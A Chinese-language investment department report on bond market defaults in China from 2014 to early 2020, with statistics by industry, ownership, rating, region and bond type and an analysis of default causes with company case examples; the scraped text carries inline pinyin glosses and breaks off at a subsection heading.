ag8彩票登录

债券市场违约风险分析报告

发布时间:2020-05-08 点击量:87 作者:投资业务部—张义
自(zi)2014年我国首例违约(yue)(yue)公募债券(quan)出(chu)现(xian)后(hou),债券(quan)市场违约(yue)(yue)事(shi)件呈现(xian)常(chang)态化发展趋势,识别(bie)债券(quan)违约(yue)(yue)风险(xian)是债券(quan)投资(zi)业务开展的(de)(de)基本要(yao)求。投资(zi)业务部通过梳理中国债券(quan)市场违约(yue)(yue)概(gai)况,对债券(quan)违约(yue)(yue)的(de)(de)主要(yao)因素进(jin)(jin)行分析,对违约(yue)(yue)后(hou)续处置方(fang)式进(jin)(jin)行了解,以提高债券(quan)投资(zi)的(de)(de)风险(xian)预警(jing)水平。


一、债券市场违(wei)约概况
(一(yi))债(zhai)券市场违约基本情况
自2014年(nian),“11超(chao)日债(zhai)(zhai)”成为中国首例(li)违约公募债(zhai)(zhai)券(quan)(quan)以来,截至2020年(nian)2月28日,我国债(zhai)(zhai)券(quan)(quan)市场共发生实质(zhi)违约债(zhai)(zhai)券(quan)(quan)508只(以下数(shu)(shu)据(ju)统计除特(te)殊说明(ming)外(wai),均采(cai)用同花顺iFind金(jin)融终端数(shu)(shu)据(ju)口径,涉及(ji)主体162家(jia),累计逾期本息规模2,920.62亿(yi)元。尤其是近两年,违约(yue)主体数量及违约(yue)金额创(chuang)历史(shi)新(xin)高,债券违约(yue)呈现常态化(hua)发展趋势。

20200529_163338_010.jpg

图 1 2014年至(zhi)2020年2月债券(quan)市(shi)场(chang)违约金(jin)额(e)及数量


(二(er))债券(quan)市(shi)场违(wei)约基本特征

1.违约主体行业分布(bu)

从(cong)违(wei)约(yue)(yue)主(zhu)体(ti)所(suo)属(shu)行(xing)(xing)业(ye)看,随(sui)着债(zhai)券市场违(wei)约(yue)(yue)事件(jian)的逐渐增加,违(wei)约(yue)(yue)风险从(cong)早期的集中于周(zhou)期性行(xing)(xing)业(ye)向一(yi)(yi)般性行(xing)(xing)业(ye)扩散,违(wei)约(yue)(yue)主(zhu)体(ti)几乎覆盖所(suo)有(you)行(xing)(xing)业(ye),28个申(shen)万一(yi)(yi)级行(xing)(xing)业(ye)分类中已经(jing)有(you)27个行(xing)(xing)业(ye)出现了违(wei)约(yue)(yue),仅银行(xing)(xing)业(ye)未出现债(zhai)券违(wei)约(yue)(yue)。出现违(wei)约(yue)(yue)的行(xing)(xing)业(ye)中,综(zong)合(he)(he)行(xing)(xing)业(ye)违(wei)约(yue)(yue)数(shu)量(liang)(liang)最多(duo),一(yi)(yi)方(fang)面归结(jie)为该行(xing)(xing)业(ye)发行(xing)(xing)人(ren)的数(shu)量(liang)(liang)较(jiao)(jiao)多(duo),发行(xing)(xing)基数(shu)较(jiao)(jiao)大,另一(yi)(yi)方(fang)面因为综(zong)合(he)(he)行(xing)(xing)业(ye)企业(ye)主(zhu)营业(ye)务较(jiao)(jiao)为多(duo)元化,企业(ye)更容易发生(sheng)资金紧张的状况。此(ci)外(wai),机械设(she)备、化工(gong)、有(you)色(se)金属(shu)、采(cai)掘(jue)、房地产(chan)等周(zhou)期性行(xing)(xing)业(ye)违(wei)约(yue)(yue)主(zhu)体(ti)数(shu)量(liang)(liang)较(jiao)(jiao)多(duo),建筑装(zhuang)饰、商业(ye)贸(mao)易、饰品(pin)饮料、交通运输等市场化程度较(jiao)(jiao)高、竞争激烈的行(xing)(xing)业(ye)违(wei)约(yue)(yue)主(zhu)体(ti)数(shu)量(liang)(liang)同样较(jiao)(jiao)多(duo)。


图 2 债(zhai)券违(wei)约(yue)主体行(xing)业分(fen)布


2.违约主体企业性质分布

从违(wei)约(yue)主(zhu)体(ti)企业性(xing)质看,民营主(zhu)体(ti)(含私(si)营、中(zhong)外合资及(ji)公众持股企业)是主(zhu)要(yao)违(wei)约(yue)主(zhu)体(ti),162家违(wei)约(yue)主(zhu)体(ti)中(zhong),民营主(zhu)体(ti)数量达到134家,占比(bi)87.62%,其中(zhong)上市公司有34家,占比(bi)约(yue)四分之(zhi)一。


1590741480.jpg

图(tu) 3 债券违约主体(ti)企业性质分布


值(zhi)得(de)注意(yi)的(de)是,近(jin)年央企(qi)(qi)和地方国(guo)(guo)(guo)有企(qi)(qi)业违约现(xian)象有所增加。自(zi)2015年保定天(tian)威集(ji)团中(zhong)期票(piao)据违约,打破“国(guo)(guo)(guo)企(qi)(qi)信仰”以来(lai),先后有央企(qi)(qi)二重集(ji)团、中(zhong)钢股份等多家国(guo)(guo)(guo)企(qi)(qi)发生债券违约。随(sui)着国(guo)(guo)(guo)企(qi)(qi)市场化(hua)改革的(de)不断深(shen)入,政府越(yue)来(lai)越(yue)倾向(xiang)于(yu)不再用财政手段兜底救助,对于(yu)大量的(de)低效益(yi)国(guo)(guo)(guo)企(qi)(qi)、僵尸国(guo)(guo)(guo)企(qi)(qi)而(er)言,违约其实扮演了资本市场“清道夫”的(de)角色。

此(ci)外,政府(fu)融资平(ping)台债(zhai)券(城投(tou)债(zhai))违(wei)约概率相对(dui)较(jiao)低(di),虽(sui)然(ran)先后有2018年(nian)新疆兵团六师的技术性违(wei)约、2019年(nian)的呼和经开(kai)回售事件引起市场高(gao)度关(guan)注,但(dan)两起事件都(dou)很快得到了(le)解(jie)决(jue),“城投(tou)信(xin)仰(yang)”进一步增强。

3.违约(yue)主体评级分布

除部分私(si)募债、短期融(rong)资券发行人无主体(ti)评(ping)(ping)级(ji)外,162家(jia)违约(yue)主体(ti)中评(ping)(ping)级(ji)AA最多,达(da)到78家(jia);其次是信(xin)用(yong)评(ping)(ping)级(ji)AA+主体(ti),19家(jia);AA-评(ping)(ping)级(ji)违约(yue)主体(ti)数量略少于(yu)AA+主体(ti),为15家(jia)。值(zhi)得注意的(de)是,AAA评(ping)(ping)级(ji)违约(yue)主体(ti)达(da)到5家(jia),除2018年违约(yue)的(de)上海(hai)(hai)华信(xin)集团外,其余4家(jia)主体(ti)债券违约(yue)全部发生在2019年,分别(bie)为中国(guo)民(min)生投资、北大方正集团、海(hai)(hai)航集团、青海(hai)(hai)盐业。


20200529_163338_013.jpg

图 4 债券违约主体评级分布

4.违约主体区域(yu)分(fen)布

从区(qu)(qu)域(yu)分(fen)布(bu)来(lai)看(kan)(kan),违(wei)约主(zhu)体所属区(qu)(qu)域(yu)整体上呈离散分(fen)布(bu)态势(shi)。就全国(guo)情况(kuang)来(lai)看(kan)(kan),违(wei)约事(shi)(shi)件主(zhu)要集(ji)中于(yu)华东、华北省(sheng)(sheng)份。分(fen)区(qu)(qu)域(yu)情况(kuang)来(lai)看(kan)(kan),除江(jiang)西和西藏无违(wei)约事(shi)(shi)件,违(wei)约发(fa)(fa)行(xing)人分(fen)布(bu)在其(qi)余29个省(sheng)(sheng)、市(shi)及自治区(qu)(qu),其(qi)中违(wei)约事(shi)(shi)件数量(liang)最多(duo)的(de)区(qu)(qu)域(yu)为(wei)北京市(shi)(18家),其(qi)次分(fen)别(bie)为(wei)广东省(sheng)(sheng)(16家)、山东省(sheng)(sheng)(14家)和江(jiang)苏省(sheng)(sheng)(14家)。这些省(sheng)(sheng)份均为(wei)债券(quan)发(fa)(fa)行(xing)人数量(liang)较(jiao)多(duo)的(de)发(fa)(fa)债大省(sheng)(sheng),但从债券(quan)市(shi)场整体情况(kuang)来(lai)看(kan)(kan)违(wei)约风险并未形成区(qu)(qu)域(yu)性爆(bao)发(fa)(fa)的(de)趋势(shi)。


表(biao) 1 债券违(wei)约主(zhu)体区域(yu)分布(bu)表(biao)

640.webp (1).jpg

640.webp.jpg

5.违约债券债券类(lei)型(xing)分布(bu)

从债券类(lei)型看,508只债(zhai)(zhai)券中,公司债(zhai)(zhai)占比近一半(ban),主要原因(yin)为私募公司债(zhai)(zhai)发行(xing)条件相对(dui)宽(kuan)松,债(zhai)(zhai)券审批相对(dui)容易,违约数量较多;中期(qi)(qi)票据、短期(qi)(qi)融(rong)资券(quan)和非公开定向债务(wu)融(rong)资工(gong)具数量(liang)位居其后(hou),企业债违(wei)约数量(liang)最少。


20200529_163338_015.jpg

图 5 违约债券(quan)所属类型


6.违(wei)约债券主承销商分(fen)布

2014年以(yi)来,违(wei)约的508只(zhi)债(zhai)券共涉及(ji)93家主(zhu)(zhu)(zhu)承(cheng)销(xiao)(xiao)商,其中券商64家,银行(xing)(xing)26家。从(cong)单一主(zhu)(zhu)(zhu)承(cheng)销(xiao)(xiao)商机(ji)构看,兴业银行(xing)(xing)主(zhu)(zhu)(zhu)承(cheng)销(xiao)(xiao)的债(zhai)券违(wei)约数量(liang)最(zui)多(duo),达到20只(zhi);国(guo)海证券、浦发(fa)银行(xing)(xing)紧随(sui)其次(ci),分别(bie)达到19只(zhi)和17只(zhi)。违(wei)约债(zhai)券超过10只(zhi)的主(zhu)(zhu)(zhu)承(cheng)销(xiao)(xiao)商如下:


640.webp (2).jpg


图 6 违约(yue)债券主承销商(shang)分布情况



(三(san))债券(quan)市场违约概况小结(jie)

从债(zhai)券违约(yue)市场的基本面(mian)中,我们(men)选取了行业、主体、评级、区域(yu)、债(zhai)券类型、主承销商这六个角度进行了分析(xi),呈(cheng)现(xian)的结果为:

1.违(wei)约行(xing)业(ye)特(te)征从早期(qi)的集(ji)中(zhong)于周期(qi)性行(xing)业(ye)向一般性行(xing)业(ye)扩散,违(wei)约主(zhu)体几乎(hu)覆盖所有行(xing)业(ye),其中(zhong)综合类(lei)、建筑装饰、机械设(she)备这三类(lei)行(xing)业(ye)违(wei)约数量居前三位。

2.违约主(zhu)体(ti)性质中,私营等(deng)非公(gong)有(you)制主(zhu)体(ti)违约占比约88%,2015年后出现少量(liang)国企(qi)违约,整体(ti)来看,城投债违约概率相对最低。

3.违(wei)约主体中评级AA最多并(bing)逐步出现高评级主体违(wei)约的现象。

4.违约区(qu)域(yu)呈离散分布状态,主要集中于华北(bei)、华东省份,违约数量前三位的省份为北(bei)京、广东、山东和江苏。

5.出现(xian)违(wei)约(yue)(yue)的债(zhai)券(quan)(quan)中,公(gong)司债(zhai)违(wei)约(yue)(yue)数量最多,其次是中期票(piao)据和短期融资券(quan)(quan),企业债(zhai)违(wei)约(yue)(yue)数量较少。

6.违约债券(quan)共涉及主承销商(shang)93家,其(qi)中兴业银行、国海(hai)证券(quan)、浦发银行作为主承销商(shang)的违约债券(quan)数量较多。

二(er)、债券(quan)市场违约原因分析

(一(yi))经营情况低迷引(yin)发(fa)的债券违约

经(jing)(jing)(jing)营(ying)情况低迷导致(zhi)债券违约占了所有(you)违约案例中的(de)绝大多数原因(yin)。企业(ye)的(de)获利能力能为(wei)企业(ye)不断创造(zao)价值(zhi),而(er)流(liu)(liu)动(dong)(dong)性(xing)则(ze)为(wei)企业(ye)提供持续经(jing)(jing)(jing)营(ying)的(de)保障。盈利情况恶化或者变现(xian)能力恶化导致(zhi)企业(ye)经(jing)(jing)(jing)营(ying)性(xing)现(xian)金流(liu)(liu)紧(jin)张,进而(er)传导筹资活动(dong)(dong)现(xian)金流(liu)(liu)收缩,最(zui)终导致(zhi)企业(ye)流(liu)(liu)动(dong)(dong)性(xing)枯竭(jie)引(yin)发信(xin)用风(feng)险。从引(yin)发企业(ye)经(jing)(jing)(jing)营(ying)性(xing)性(xing)现(xian)金流(liu)(liu)紧(jin)张的(de)具(ju)体原因(yin)来看,大致(zhi)可(ke)以分为(wei)三(san)类:

1.行业景(jing)气周(zhou)期(qi)向下(xia)导致(zhi)企业经营情况恶(e)化

行(xing)(xing)(xing)业(ye)(ye)(ye)低迷致使经营(ying)持续恶化多数(shu)发生在强周(zhou)期性行(xing)(xing)(xing)业(ye)(ye)(ye),例如煤(mei)炭、钢铁、石(shi)油(you)、化工、新(xin)能源(yuan)、贸易、造(zao)船(chuan)、水泥(ni)等。当内外部环境发生变化导致行(xing)(xing)(xing)业(ye)(ye)(ye)景气度快速下(xia)(xia)滑时(shi),整(zheng)个行(xing)(xing)(xing)业(ye)(ye)(ye)的(de)(de)利(li)润规模(mo)都出(chu)现(xian)明显(xian)的(de)(de)下(xia)(xia)降(jiang),即使是行(xing)(xing)(xing)业(ye)(ye)(ye)内竞争力较强的(de)(de)公司也无(wu)法(fa)幸免,信用资(zi)质会出(chu)现(xian)无(wu)法(fa)抑(yi)制的(de)(de)下(xia)(xia)滑,即使企业(ye)(ye)(ye)在行(xing)(xing)(xing)业(ye)(ye)(ye)周(zhou)期下(xia)(xia)行(xing)(xing)(xing)的(de)(de)开始还有良好(hao)的(de)(de)资(zi)产储备,但(dan)随着行(xing)(xing)(xing)业(ye)(ye)(ye)景气度的(de)(de)持续恶化,资(zi)产的(de)(de)变现(xian)能力和变现(xian)价(jia)值也会明显(xian)下(xia)(xia)降(jiang),盈利(li)能力恶化长时(shi)间侵蚀资(zi)产负(fu)债(zhai)表之后(hou)再好(hao)的(de)(de)企业(ye)(ye)(ye)也有陷入偿(chang)债(zhai)困境的(de)(de)可能。

比较明显的案例为,上海超(chao)(chao)日(ri)太(tai)阳(yang)能科技公(gong)(gong)司(以下简称(cheng)“上海超(chao)(chao)日(ri)”)2012年3月(yue)(yue)发(fa)(fa)行(xing)(xing)的“11超(chao)(chao)日(ri)债”,债券(quan)发(fa)(fa)行(xing)(xing)后(hou),发(fa)(fa)行(xing)(xing)人(ren)(ren)随即4月(yue)(yue)预报(bao)2011年亏损(sun)6000万元(yuan)。2013年1月(yue)(yue)预报(bao)亏损(sun)9亿-11亿元(yuan)并披露(lu)流(liu)动性风险(xian)以及(ji)资产(chan)质押、抵押或查封。2014年3月(yue)(yue),发(fa)(fa)行(xing)(xing)人(ren)(ren)无法全额支付利(li)息,债券(quan)违(wei)约,开启了(le)我国债市(shi)违(wei)约的先河。此后(hou),与上海超(chao)(chao)日(ri)同处于(yu)(yu)光(guang)伏(fu)行(xing)(xing)业(ye)的保(bao)定天威集(ji)团有限(xian)公(gong)(gong)司(以下简称(cheng)“天威集(ji)团”)和天威英(ying)利(li)新(xin)(xin)能源(yuan)(yuan)有限(xian)公(gong)(gong)司(以下简称(cheng)“天威英(ying)利(li)”)于(yu)(yu)2015年陆续违(wei)约,天威集(ji)团违(wei)约原因主要(yao)是受新(xin)(xin)能源(yuan)(yuan)行(xing)(xing)业(ye)收缩、产(chan)能过剩影响(xiang),所属新(xin)(xin)能源(yuan)(yuan)子公(gong)(gong)司停产(chan)及(ji)成本(ben)倒挂现(xian)象严重,资产(chan)减值损(sun)失连续增加使得亏损(sun)额持续大(da)幅上升,企业(ye)陷入(ru)经营(ying)危(wei)机和财务(wu)危(wei)机。天威英(ying)利(li)的违(wei)约也源(yuan)(yuan)自光(guang)伏(fu)行(xing)(xing)业(ye)自2009年起长(zhang)期处于(yu)(yu)产(chan)能过剩、美国及(ji)欧盟对(dui)中国光(guang)伏(fu)产(chan)品实(shi)施“双反”调查、企业(ye)营(ying)收规模增长(zhang)高度(du)依赖(lai)价格竞争(zheng)等。

2015-2016年间,煤(mei)炭、钢(gang)铁、有(you)色(se)、造船、玻(bo)璃、电解铝等(deng)周期性行(xing)(xing)(xing)业(ye)(ye)出(chu)现了密(mi)集(ji)的债券违约事件,涉及中煤(mei)集(ji)团(tuan)、中国钢(gang)铁、四(si)川煤(mei)炭等(deng)央(yang)企(qi)及大(da)连(lian)机床(chuang)集(ji)团(tuan)(以下简称“大(da)连(lian)机床(chuang)”)等(deng)知名地(di)方企(qi)业(ye)(ye),这与(yu)自2011年起上述(shu)行(xing)(xing)(xing)业(ye)(ye)产(chan)能过(guo)剩严重、产(chan)品(pin)价格(ge)长期位于低谷等(deng)有(you)关。同(tong)时,供给侧(ce)改(gai)革(ge)、大(da)气污染(ran)防治等(deng)政策的实(shi)施也对(dui)行(xing)(xing)(xing)业(ye)(ye)内(nei)企(qi)业(ye)(ye)形成了外生(sheng)冲击,甚至成为压死(si)骆(luo)驼的最后一根稻(dao)草。

2.行业非周期性衰退(tui)导致企业造血能力降低

非周(zhou)期性(xing)(xing)行(xing)(xing)(xing)(xing)业(ye)虽(sui)然受到经济周(zhou)期的(de)影响(xiang)较小,但也可能出(chu)现(xian)景气度(du)趋势(shi)性(xing)(xing)下行(xing)(xing)(xing)(xing)出(chu)现(xian)整个行(xing)(xing)(xing)(xing)业(ye)衰退的(de)情况。餐饮(yin)行(xing)(xing)(xing)(xing)业(ye)、纺织业(ye)、化(hua)工业(ye)、机(ji)械制(zhi)造业(ye)等(deng)非周(zhou)期性(xing)(xing)传(chuan)统(tong)行(xing)(xing)(xing)(xing)业(ye),竞争激烈、公司盈(ying)利水平下滑、负债(zhai)水平增长(zhang),经营性(xing)(xing)现(xian)金流无(wu)法对流动(dong)负债(zhai)形成足够保障。企业(ye)所在行(xing)(xing)(xing)(xing)业(ye)若行(xing)(xing)(xing)(xing)业(ye)景气度(du)难以(yi)回(hui)升,会导致(zhi)企业(ye)财(cai)务(wu)状(zhuang)况持续(xu)恶化(hua),甚至破产,从而引发违约信(xin)用事件。

例如北京湘鄂情餐(can)饮管理(li)有限公(gong)司(以下简称“湘鄂情”)主营(ying)业(ye)务(wu)为中高端餐(can)饮,属于受经济周(zhou)期影(ying)响(xiang)较(jiao)弱的非周(zhou)期行业(ye),但(dan)受国家出台实(shi)施(shi)“八项(xiang)规定”和(he)严控“三公(gong)消费”等政(zheng)策影(ying)响(xiang),行业(ye)景气度持续(xu)低迷。原有的商业(ye)模式受到较(jiao)大(da)冲击并导(dao)致(zhi)(zhi)营(ying)收(shou)水平骤降(jiang),被(bei)迫转型(xing)新兴(xing)产业(ye),转型(xing)失败后导(dao)致(zhi)(zhi)其发(fa)行的“12湘鄂债”发(fa)生违约。

大(da)连天(tian)神(shen)娱乐股份有(you)限公司(以下简称“天(tian)神(shen)娱乐”)受游戏(xi)(xi)版号(hao)暂停审批、总量(liang)调控、棋牌游戏(xi)(xi)整顿等监(jian)管政(zheng)策影响(xiang),在(zai)研(yan)游戏(xi)(xi)均(jun)未能按期上线(xian),多项研(yan)发(fa)终(zhong)止,且在(zai)监(jian)管政(zheng)策的(de)影响(xiang)下公司终(zhong)止德州扑(pu)克类游戏(xi)(xi)运营,游戏(xi)(xi)业务进(jin)一步收缩。2019年一季度营业收入同(tong)比大(da)幅下滑(hua)44.90%,严(yan)重影响(xiang)了偿债能力(li),最终(zhong)引发(fa)“17天(tian)神(shen)01”违(wei)约(yue)。

3.上下游产(chan)业格(ge)局变化导致企业盈(ying)利(li)能力变弱

企业上(shang)下(xia)游(you)集(ji)(ji)中(zhong)(zhong)度(du)过高也是导(dao)致(zhi)经(jing)(jing)营恶(e)化的(de)(de)(de)重(zhong)要原(yuan)因(yin)之一(yi)。如果一(yi)家(jia)公司的(de)(de)(de)下(xia)游(you)客(ke)户或者上(shang)游(you)供应(ying)商的(de)(de)(de)集(ji)(ji)中(zhong)(zhong)程度(du)越高,则公司的(de)(de)(de)议(yi)价(jia)能力(li)越低,盈利(li)能力(li)也会(hui)明显受到影响。不仅(jin)如此,供应(ying)商和(he)客(ke)户的(de)(de)(de)集(ji)(ji)中(zhong)(zhong)导(dao)致(zhi)供应(ying)(需求)的(de)(de)(de)稳(wen)定性较低,一(yi)旦(dan)其中(zhong)(zhong)一(yi)家(jia)或多家(jia)出现(xian)供应(ying)不上(shang)(需求不足)的(de)(de)(de)情况,就会(hui)直接影响公司正常经(jing)(jing)营,导(dao)致(zhi)经(jing)(jing)营恶(e)化。

“12中富01”为珠海(hai)中富实(shi)业(ye)股(gu)份有(you)限公(gong)司(以下简称“珠海(hai)中富”)发行(xing)的(de)(de)公(gong)募债(zhai),债(zhai)券于2015年5月28日到期(qi)(qi),发行(xing)人虽(sui)足额支付(fu)当期(qi)(qi)债(zhai)券3115.2万(wan)元(yuan)的(de)(de)利息,但(dan)本(ben)(ben)金(jin)却无法(fa)足额偿付(fu),构成实(shi)质违约(yue)。公(gong)司的(de)(de)问题在(zai)于,饮料包(bao)装(zhuang)行(xing)业(ye)技术(shu)壁垒和资金(jin)壁垒相对不高,同时下游(you)客(ke)户(hu)集中度过高,可(ke)口(kou)可(ke)乐、百事可(ke)乐和统一三(san)家企(qi)(qi)业(ye)10年占公(gong)司总销售额的(de)(de)接近80%。由(you)于饮料行(xing)业(ye)本(ben)(ben)身增(zeng)速放缓(huan),盈利增(zeng)速下滑,导致下游(you)企(qi)(qi)业(ye)开始向上(shang)游(you)整合(he)产(chan)业(ye)链,从而减(jian)少了(le)从珠海(hai)中富采购产(chan)品(pin)的(de)(de)需求,公(gong)司订(ding)单量大幅减(jian)少。虽(sui)然(ran)公(gong)司努力开拓(tuo)了(le)其(qi)他新客(ke)户(hu),但(dan)新增(zeng)客(ke)户(hu)需求短期(qi)(qi)内难以弥补已损失订(ding)单量。公(gong)司2012年开始经(jing)营(ying)状况(kuang)逐年下滑,2013年计提了(le)较(jiao)多的(de)(de)资产(chan)减(jian)值(zhi)损失造成账面大幅亏损,企(qi)(qi)业(ye)经(jing)营(ying)状况(kuang)也从此(ci)急转(zhuan)直下。珠海(hai)中富后续“两易其(qi)主”,管理层变动较(jiao)为频繁最终导致违约(yue)发生。

4.以中(zhong)小企业(ye)主体为代表(biao)的资(zi)本市场违约(yue)

2012年,被称为(wei)“中国版垃圾债(zhai)(zhai)(zhai)(zhai)”的中小(xiao)企(qi)(qi)业(ye)私(si)募(mu)(mu)债(zhai)(zhai)(zhai)(zhai)业(ye)务推出。2014年,首批私(si)募(mu)(mu)债(zhai)(zhai)(zhai)(zhai)迎来(lai)付(fu)息或到期兑(dui)付(fu)高(gao)峰,“13中森(sen)债(zhai)(zhai)(zhai)(zhai)”、“12金泰02”、“12金泰”、“12津天(tian)联”相继多(duo)笔中小(xiao)企(qi)(qi)业(ye)私(si)募(mu)(mu)债(zhai)(zhai)(zhai)(zhai)出现信用事(shi)件。中小(xiao)企(qi)(qi)业(ye)私(si)募(mu)(mu)债(zhai)(zhai)(zhai)(zhai)为(wei)非公开发行,采(cai)取备案制,发行规(gui)模(mo)不(bu)受(shou)净资产(chan)的40%的限制,对(dui)盈利也(ye)无特殊要(yao)求。中小(xiao)企(qi)(qi)业(ye)私(si)募(mu)(mu)债(zhai)(zhai)(zhai)(zhai)融资成本(ben)高(gao),企(qi)(qi)业(ye)所属行业(ye)大多(duo)为(wei)金属、化(hua)工(gong)、纺织等传统(tong)行业(ye),生产(chan)力过剩(sheng),需求不(bu)足,抗风(feng)险能力较低,一旦经营不(bu)善,出现流动性不(bu)足,资本(ben)市场违约(yue)后很难有化(hua)解办法,最终造成实质性违约(yue)。

(二)激进(jin)扩张引发的债券违约

企(qi)业扩张和多元化战略,带来潜(qian)在(zai)收益(yi)的(de)同时(shi)也隐藏巨大的(de)风险。激进扩张带来的(de)直接影响即(ji)投资(zi)(zi)活动现金(jin)(jin)流(liu)(liu)巨额流(liu)(liu)出,一(yi)旦(dan)原本主业的(de)经营性现金(jin)(jin)流(liu)(liu)不(bu)(bu)及预期或(huo)者新投资(zi)(zi)领域(yu)的(de)回报率(lv)未达(da)到要求,即(ji)可能引(yin)发(fa)内(nei)部流(liu)(liu)动性问题(ti)。财务情况恶化往(wang)往(wang)会(hui)影响发(fa)行人(ren)(ren)信用(yong)资(zi)(zi)质,造成外部筹资(zi)(zi)活动现金(jin)(jin)流(liu)(liu)减少。内(nei)外现金(jin)(jin)流(liu)(liu)的(de)同时(shi)收紧(jin)引(yin)发(fa)流(liu)(liu)动性危机,当发(fa)行人(ren)(ren)的(de)资(zi)(zi)源和能力不(bu)(bu)足(zu)时(shi),盲目扩张的(de)风险往(wang)往(wang)会(hui)颠覆整个(ge)企(qi)业,最终(zhong)引(yin)发(fa)债(zhai)券违约。

凯迪(di)生(sheng)态(tai)环境(jing)科(ke)技股份有限公(gong)司(si)(以(yi)下简称“凯迪(di)生(sheng)态(tai)”)为(wei)生(sheng)物质发电(dian)行业的龙头(tou)上市(shi)民营(ying)企业,公(gong)司(si)大(da)(da)(da)规模新建生(sheng)物质发电(dian)机组和收购其(qi)他电(dian)厂导(dao)致(zhi)大(da)(da)(da)额资本支(zhi)出(chu),大(da)(da)(da)幅采购原材料累积了大(da)(da)(da)量存(cun)货,资本支(zhi)出(chu)及大(da)(da)(da)额资产(chan)减值(zhi)严重侵蚀了公(gong)司(si)经营(ying)性现(xian)金流(liu)。管理(li)层对行业趋势判断过于乐观,致(zhi)使公(gong)司(si)战略较为(wei)激(ji)进,扩张(zhang)速度过快。而经营(ying)现(xian)金流(liu)未达(da)预期与严监(jian)管背景(jing)下的融资难(nan)度提升导(dao)致(zhi)其(qi)投资难(nan)以(yi)为(wei)继,自有现(xian)金流(liu)存(cun)在(zai)较大(da)(da)(da)缺口,最终资金链断裂(lie)导(dao)致(zhi)信用违约(yue)。

东(dong)旭(xu)(xu)集团(tuan)(tuan)有限(xian)公(gong)司(以下简(jian)称“东(dong)旭(xu)(xu)集团(tuan)(tuan)”)原(yuan)主营业务(wu)为(wei)(wei)(wei)液(ye)晶玻璃基(ji)板,2014年(nian)末(mo),东(dong)旭(xu)(xu)集团(tuan)(tuan)总资产(chan)(chan)为(wei)(wei)(wei)301.8亿(yi)(yi)(yi)元。公(gong)司先后收购(gou)或(huo)控股旭(xu)(xu)新(xin)光(guang)电、旭(xu)(xu)飞(fei)光(guang)电、吉星新(xin)材(cai)料、宝安地产(chan)(chan)、嘉麟杰、星景(jing)生态环(huan)保、申龙客车等(deng)公(gong)司,并参股或(huo)设(she)立衡水银行、西藏金融(rong)租赁、金鹰基(ji)金等(deng)金融(rong)机(ji)构,成为(wei)(wei)(wei)集光(guang)电显示、新(xin)能源、金融(rong)、地产(chan)(chan)等(deng)为(wei)(wei)(wei)一(yi)体的大(da)型多元产(chan)(chan)业投(tou)资集团(tuan)(tuan),2018末(mo)总资产(chan)(chan)达2072亿(yi)(yi)(yi)元,是2014年(nian)末(mo)的6.87倍。快速的扩张给东(dong)旭(xu)(xu)集团(tuan)(tuan)带来沉(chen)重(zhong)的债务(wu),2018年(nian)末(mo)公(gong)司有息债务(wu)达871亿(yi)(yi)(yi)元,是2014年(nian)末(mo)的7.9倍,过(guo)高(gao)的债务(wu)负(fu)担最终导致债券违约。

上海云(yun)峰(集团)有(you)限公司(以下(xia)简称“上海云(yun)峰”)违(wei)约也(ye)主(zhu)要是(shi)由于自身激进(jin)投资(zi)、业(ye)务版图迅(xun)(xun)速扩张(zhang),然(ran)而经(jing)营性现金流大多在(zai)2亿(yi)元以下(xia),预付账(zhang)款、应收账(zhang)款和(he)存货资(zi)产(chan)的持续攀升大幅削弱(ruo)盈(ying)利变现能力(li),激进(jin)扩张(zhang)推动债(zhai)务规模迅(xun)(xun)速放大,资(zi)产(chan)负债(zhai)率均接近(jin)甚至超过80%。加(jia)上煤炭行(xing)业(ye)景气(qi)下(xia)行(xing)导致(zhi)自身现金生成(cheng)能力(li)弱(ruo),周(zhou)转压(ya)力(li)大幅提升,融资(zi)环(huan)境(jing)逐步(bu)恶化最(zui)终违(wei)约。

南京雨(yu)润(run)食品有(you)限(xian)(xian)公司(以下简(jian)称“雨(yu)润(run)食品”)、四(si)川圣达集团(tuan)有(you)限(xian)(xian)公司、丹东(dong)港集团(tuan)有(you)限(xian)(xian)公司(以下简(jian)称“丹东(dong)港”)等违(wei)约(yue)债(zhai)券(quan)发行(xing)人同样(yang)也(ye)存(cun)在类(lei)似(si)的投资激进(jin)问题(ti),一旦(dan)经营不(bu)及预期叠加外部融(rong)资收紧,最终导致(zhi)实质性违(wei)约(yue)。

(三)融资环境(jing)变化引发的债(zhai)券违约

2018年以(yi)来(lai),在金融强监管、宏观(guan)去杠(gang)杆大(da)背景下,金融宏观(guan)环境(jing)发生大(da)幅转变,融资渠道的(de)收紧对于整体(ti)债务规模(mo)较大(da),每(mei)年依靠借新还旧来(lai)置(zhi)换到期负债的(de)企(qi)(qi)业来(lai)说,负面影响(xiang)巨(ju)大(da),资金链断裂风险不可避(bi)免。这其(qi)中不乏大(da)型国(guo)(guo)有(you)(you)企(qi)(qi)业以(yi)及上市(shi)公(gong)(gong)司(si)等(deng)集团(tuan)化的(de)企(qi)(qi)业,如浙江500亿(yi)资产规模(mo)的(de)精功集团(tuan)有(you)(you)限(xian)(xian)公(gong)(gong)司(si)、青海龙头国(guo)(guo)企(qi)(qi)青海省投资集团(tuan)、富贵鸟(niao)股份有(you)(you)限(xian)(xian)公(gong)(gong)司(si)(以(yi)下简称(cheng)“富贵鸟(niao)”)、主(zhu)营机床制造与销售的(de)大(da)连机床以(yi)及亿(yi)阳集团(tuan)有(you)(you)限(xian)(xian)公(gong)(gong)司(si)、神雾环保技术股份有(you)(you)限(xian)(xian)公(gong)(gong)司(si)、丹东(dong)港(gang)、中国(guo)(guo)城市(shi)建(jian)设(she)控股集团(tuan)有(you)(you)限(xian)(xian)公(gong)(gong)司(si)(以(yi)下简称(cheng)“中国(guo)(guo)城建(jian)”)等(deng)企(qi)(qi)业,债务负担沉重,每(mei)年刚兑负债规模(mo)超(chao)百亿(yi),资金周转压力大(da),触发债券连环违(wei)约。

(四)公司(si)治理问题引(yin)发的债券违约

发行(xing)人公司治(zhi)理状(zhuang)况(kuang)对债(zhai)券违约(yue)的(de)影响主要体(ti)现在实际控制人风险和发行(xing)人违规经营方面,债(zhai)券发行(xing)主体(ti)的(de)控制权争夺和对外担(dan)保互保等均是触发违约(yue)的(de)重要导火索。

1.实际控制(zhi)人(ren)负面新闻

